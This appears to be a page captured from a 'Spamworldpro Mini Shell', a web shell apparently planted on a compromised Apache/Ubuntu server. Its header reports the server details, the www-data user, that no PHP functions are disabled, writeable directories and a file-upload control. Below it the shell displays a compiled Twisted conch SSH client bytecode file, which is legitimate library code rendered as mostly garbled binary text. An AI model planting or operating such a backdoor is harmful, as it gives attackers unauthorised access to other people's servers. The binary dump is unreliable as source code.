Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/conch/client/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/conch/client/__pycache__/default.cpython-310.pyc
o

�b�.�@s�dZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZddl
mZddlmZmZmZddlmZmZmZdd	lmZdd
lmZdZeZeZdd
�Z dd�Z!dd�Z"Gdd�dej#�Z#dS)aN
Various classes and functions for implementing user-interaction in the
command-line conch client.

You probably shouldn't use anything in this module directly, since it assumes
you are sitting at an interactive terminal.  For example, to programmatically
interact with a known_hosts database, use L{twisted.conch.client.knownhosts}.
�N)�decodebytes)�agent)�	ConsoleUI�KnownHostsFile)�
ConchError)�common�keys�userauth)�defer�protocol�reactor)�nativeString)�FilePathz~/.ssh/known_hostscCsV|jjd}tj�|�}t�t|jjdptj	�
t���}tdd��}|�
||||�S)a%
    Verify a host's key.

    This function is a gross vestige of some bad factoring in the client
    internals.  The actual implementation, and a better signature of this logic
    is in L{KnownHostsFile.verifyHostKey}.  This function is not deprecated yet
    because the callers have not yet been rehabilitated, but they should
    eventually be changed to call that method instead.

    However, this function does perform two functions not implemented by
    L{KnownHostsFile.verifyHostKey}.  It determines the path to the user's
    known_hosts file based on the options (which should really be the options
    object's job), and it provides an opener to L{ConsoleUI} which opens
    '/dev/tty' so that the user will be prompted on the tty of the process even
    if the input and output of the process has been redirected.  This latter
    part is, somewhat obviously, not portable, but I don't know of a portable
    equivalent that could be used.

    @param host: Due to a bug in L{SSHClientTransport.verifyHostKey}, this is
    always the dotted-quad IP address of the host being connected to.
    @type host: L{str}

    @param transport: the client transport which is attempting to connect to
    the given host.
    @type transport: L{SSHClientTransport}

    @param fingerprint: the fingerprint of the given public key, in
    xx:xx:xx:... format.  This is ignored in favor of getting the fingerprint
    from the key itself.
    @type fingerprint: L{str}

    @param pubKey: The public key of the server being connected to.
    @type pubKey: L{str}

    @return: a L{Deferred} which fires with C{1} if the key was successfully
    verified, or fails if the key could not be successfully verified.  Failure
    types may include L{HostKeyChanged}, L{UserRejectedKey}, L{IOError} or
    L{KeyboardInterrupt}.
    �host�known-hostscSstdddd�S)N�/dev/ttyzr+br)�	buffering)�_open�rr�>/usr/lib/python3/dist-packages/twisted/conch/client/default.py�<lambda>VszverifyHostKey.<locals>.<lambda>)�factory�optionsr�Key�
fromStringr�fromPathr�os�path�
expanduser�_KNOWN_HOSTSr�
verifyHostKey)�	transportr�pubKey�fingerprint�
actualHost�	actualKey�kh�uirrrr 's(��r c

Cs8t�|�d}d}|ds$tj�tj�d��s$td�t�tj�d��|dp)t}zt	tj�|�d�}Wn
t
y?YdSw|�P|��D]B}|��}t
|�dkrTqG|dd�\}	}
}||	�d	�vreqG|
|krjqGzt|�}Wn	tyyYqGw||kr�Wd�d
Sd}qGWd�|S1s�wY|S)z�
    Checks to see if host is in the known_hosts file for the user.

    @return: 0 if it isn't, 1 if it is and is the same, 2 if it's changed.
    @rtype: L{int}
    rrz~/.ssh/zCreating ~/.ssh directory...z~/.ssh�rb�N�,��)r�getNSrr�existsr�print�mkdirr�open�OSError�	readlines�split�lenr�
BaseException)
rr"r�keyType�retVal�kh_file�known_hosts�liner4�hosts�hostKeyType�
encodedKey�
decodedKeyrrr�isInKnownHostsZsF����
��r@cCsXt�t|dptj�t���}g}|��D]}|�|�r'|j	|vr'|�
|j	�q|p+dS)a�
    Look in known_hosts for a key corresponding to C{host}.
    This can be used to change the order of supported key types
    in the KEXINIT packet.

    @type host: L{str}
    @param host: the host to check in known_hosts
    @type options: L{twisted.conch.client.options.ConchOptions}
    @param options: options passed to client
    @return: L{list} of L{str} representing key types or L{None}.
    rN)rrrrrrr�iterentries�matchesHostr7�append)rr�
knownHosts�keyTypes�entryrrr�getHostKeyAlgorithms�s�

�rGc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zddd�Z	dd�Z
dd�Zdd�Zdd�Z
edd��Zeejdd���Zd
S)�SSHUserAuthClientcGs@tjj||g|�R�d|_||_g|_|jsddg|_dSdS)Nz
~/.ssh/id_rsaz
~/.ssh/id_dsa)r	rH�__init__�keyAgentr�	usedFiles�	identitys)�self�userr�argsrrrrI�s�zSSHUserAuthClient.__init__cCstdtjvr2|jds2|jjdtjdd�t�ttj	�}|�
tjd�}|�|j�|�
|j�dStj�|�dS)N�
SSH_AUTH_SOCK�noagentzusing SSH agent {authSock!r})�authSock)r�environr�_log�debugr�
ClientCreatorrr�SSHAgentClient�connectUNIX�addCallback�	_setAgent�
addErrback�_ebSetAgentr	rH�serviceStarted)rM�cc�drrrr]�s
�z SSHUserAuthClient.serviceStartedcCs |jr|jj��d|_dSdS�N)rJr!�loseConnection�rMrrr�serviceStopped�s
�z SSHUserAuthClient.serviceStoppedcCs ||_|j��}|�|j�|Sr`)rJ�
getPublicKeys�addBothr\)rM�ar_rrrrZ�s
zSSHUserAuthClient._setAgentcCstj�|�dSr`)r	rHr])rM�frrrr\�szSSHUserAuthClient._ebSetAgentc
Cs^|���!zt�|�}|WWd�Sttfy$t�td��w1s(wYdS)z�
        Prompt for a password using L{getpass.getpass}.

        @param prompt: Written on tty to ask for the input.
        @type prompt: L{str}
        @return: The input.
        @rtype: L{str}
        N�PEBKAC)�_replaceStdoutStdin�getpass�KeyboardInterruptr2r/r�rM�prompt�prrr�_getPassword�s
	
���zSSHUserAuthClient._getPasswordNcCsf|rt|�}nd�t|j�|jj��j�}z|�|��t�	��}t
�|�WSty2t
�
�YSw)Nz{}@{}'s password: )r
�formatrNr!�getPeerrro�encode�sys�getdefaultencodingr
�succeedr�failrlrrr�getPassword�s
��zSSHUserAuthClient.getPasswordcs��jr�j��}|dur|S�fdd��jjD�}�jjd�jj|d�|s(dS|d}�j�|�tj	�
|�}|d7}tj	�|�sF���Sztj
�|�WStjy[���YSw)z�
        Get a public key from the key agent if possible, otherwise look in
        the next configured identity file for one.
        Ncsg|]	}|�jvr|�qSr)rK)�.0�xrbrr�
<listcomp>�sz2SSHUserAuthClient.getPublicKey.<locals>.<listcomp>z+public key identities: {identities}
{files})�
identities�filesrz.pub)rJ�getPublicKeyrrLrTrUrKrCrrrr.rr�fromFile�BadKeyError)rM�keyr|�filerrbrr}�s.
��zSSHUserAuthClient.getPublicKeycCs(|js|j�|��|�Stj�|||�S)z�
        Extend the base signing behavior by using an SSH agent to sign the
        data, if one is available.

        @type publicKey: L{Key}
        @type signData: L{bytes}
        )rKrJ�signData�blobr	rH)rM�	publicKeyr�rrrr��szSSHUserAuthClient.signDatac
Cs�tj�|jd�}tj�|�sdSz
t�tj�	|��WStj
yctd�D]:}d|jd}z|�|��
t���}t�tjj	||d��WYStjtfyVYnwt�td��YS�tyst�t��YdSw)z�
        Try to load the private key from the last used file identified by
        C{getPublicKey}, potentially asking for the passphrase if the key is
        encrypted.
        ���Nr)zEnter passphrase for key '%s': )�
passphrasezbad password)rrrrKr.r
rurrr~�EncryptedKeyError�rangerorrrs�getfilesystemencodingrrrvrkr/r�stop)rMr��irmrnrrr�
getPrivateKeys( ��zSSHUserAuthClient.getPrivateKeycCs�g}|���8|rt|�d��|rt|�d��|D]\}}|�d�}|r.|�t|��q|�t�|��qWd�n1sAwYt�|�S)Nzutf-8)rir/�decoderC�_inputrjr
ru)rM�name�instruction�prompts�	responsesrm�echorrr�getGenericAnswers s

��
z#SSHUserAuthClient.getGenericAnswerscCs(t�tdd��}t�tdd��}||fS)a0
        Open /dev/tty as two streams one in read, one in write mode,
        and return them.

        @return: File objects for reading and writing to /dev/tty,
                 corresponding to standard input and standard output.
        @rtype: A L{tuple} of L{io.TextIOWrapper} on Python 3.
        rr(�wb)�io�
TextIOWrapperr1)�cls�stdin�stdoutrrr�_openTty/s
zSSHUserAuthClient._openTtyc	cst�tjtj}}|��\t_t_zdVWtj��tj��||t_t_dStj��tj��||t_t_w)zv
        Contextmanager that replaces stdout and stdin with /dev/tty
        and resets them when it is done.
        N)rsr�r�r��close)r��oldout�oldinrrrri=s�


�
z%SSHUserAuthClient._replaceStdoutStdinr`)�__name__�
__module__�__qualname__rIr]rcrZr\rorwr}r�r�r��classmethodr��
contextlib�contextmanagerrirrrrrH�s"



rH)$�__doc__r�rjr�rrs�base64r�twisted.conch.clientr�twisted.conch.client.knownhostsrr�twisted.conch.errorr�twisted.conch.sshrrr	�twisted.internetr
rr�twisted.python.compatr
�twisted.python.filepathrrr1r�inputr�r r@rGrHrrrr�<module>s*	3'

Spamworldpro Mini